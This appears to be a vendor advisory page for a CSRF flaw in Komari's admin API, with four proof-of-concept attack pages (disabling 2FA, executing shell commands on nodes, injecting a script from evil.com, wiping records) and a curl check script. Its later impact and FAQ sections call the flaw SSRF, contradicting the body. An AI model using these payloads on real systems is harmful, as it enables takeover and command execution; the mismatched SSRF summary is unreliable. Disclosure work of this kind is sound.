Summary
Komari: Management Interface CSRF
Vulnerability Overview
The session_token cookie is set without the SameSite or Secure attributes (login.go:68).
All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.
The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.
Root Cause
// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
// Secure=false, SameSite not explicitly set
// Admin route group (server.go:213-343) has no CSRF middleware
Gin's ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.
Browser Limitations
- Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to
SameSite=Lax. - Cookies without an explicit
SameSiteattribute are not included in cross-site POST requests. - As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized.
| Scenario | Exploitable |
|---|---|
| Cross-site HTML (modern browsers) | ✗ Blocked by SameSite=Lax |
| Cross-site HTML (Chrome <80 / legacy browsers) | ✓ |
| Same-origin context (Browser Console / existing XSS) | ✓ |
Man-in-the-middle over HTTP (Secure=false) |
✓ |
High-Impact Operations Reachable via CSRF
| Endpoint | Method | Impact |
|---|---|---|
/api/admin/task/exec |
POST | Execute arbitrary shell commands on managed nodes |
/api/admin/2fa/disable |
POST | Disable administrator two-factor authentication |
/api/admin/settings/ |
POST | Modify system configuration |
/api/admin/upload/backup |
POST | Upload a malicious backup |
/api/admin/record/clear/all |
POST | Delete all monitoring records |
/api/admin/client/:uuid/edit |
POST | Modify client configuration |
/api/admin/client/:uuid/remove |
POST | Remove managed clients |
/api/admin/session/remove/all |
POST | Invalidate all active sessions |
/api/admin/settings/cloudflared/start |
POST | Start a Cloudflared tunnel |
PoC 1, Disable 2FA
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/2fa/disable"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
PoC 2, Remote Command Execution
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD = "id && hostname && whoami";
fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
.then(function(r){ return r.json(); })
.then(function(data){
var nodes = data.data || [];
var uuids = [];
for (var i = 0; i < nodes.length; i++) {
if (nodes[i].uuid) uuids.push(nodes[i].uuid);
}
if (uuids.length === 0) return;
return fetch(KOMARI + "/api/admin/task/exec", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ command: CMD, clients: uuids })
});
});
</script>
</body>
</html>
PoC 3, Modify System Configuration
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
"site_name": "Pwned",
"custom_head": "<script src='https://evil.com/hook.js'><\/script>"
})
});
</script>
</body>
</html>
PoC 4, Clear All Monitoring Records
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/record/clear/all"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
Verification Script
#!/bin/bash
KOMARI="${1:-https://komari.example.com}"
echo "=== CSRF Verification ==="
echo "[1] Cookie Attributes..."
curl -s -D - -o /dev/null \
-X POST "$KOMARI/api/public/login" \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"test"}' | grep -i 'set-cookie'
echo ""
echo "[2] CORS Headers..."
curl -s -D - -o /dev/null \
-H "Origin: https://evil.com" \
"$KOMARI/api/public/config" | grep -i 'access-control'
echo ""
echo "[3] CSRF Protection on Admin Endpoint..."
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$KOMARI/api/admin/settings/" \
-H "Content-Type: application/json" \
-H "Origin: https://evil.com" \
-d '{}')
echo " HTTP ${CODE}, A 401 response indicates that only session authentication is enforced and no CSRF protection is present."
Impact
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
GHSA-HXJG-93WC-H8P8 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260609084633-98122fa4d110); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-HXJG-93WC-H8P8? GHSA-HXJG-93WC-H8P8 is a high-severity server-side request forgery (SSRF) vulnerability in github.com/komari-monitor/komari (go), affecting versions < 0.0.0-20260609084633-98122fa4d110. It is fixed in 0.0.0-20260609084633-98122fa4d110. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is GHSA-HXJG-93WC-H8P8? GHSA-HXJG-93WC-H8P8 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/komari-monitor/komari are affected by GHSA-HXJG-93WC-H8P8? github.com/komari-monitor/komari (go) versions < 0.0.0-20260609084633-98122fa4d110 is affected.
- Is there a fix for GHSA-HXJG-93WC-H8P8? Yes. GHSA-HXJG-93WC-H8P8 is fixed in 0.0.0-20260609084633-98122fa4d110. Upgrade to this version or later.
- Is GHSA-HXJG-93WC-H8P8 exploitable, and should I be worried? Whether GHSA-HXJG-93WC-H8P8 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-HXJG-93WC-H8P8 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-HXJG-93WC-H8P8? Upgrade
github.com/komari-monitor/komarito 0.0.0-20260609084633-98122fa4d110 or later.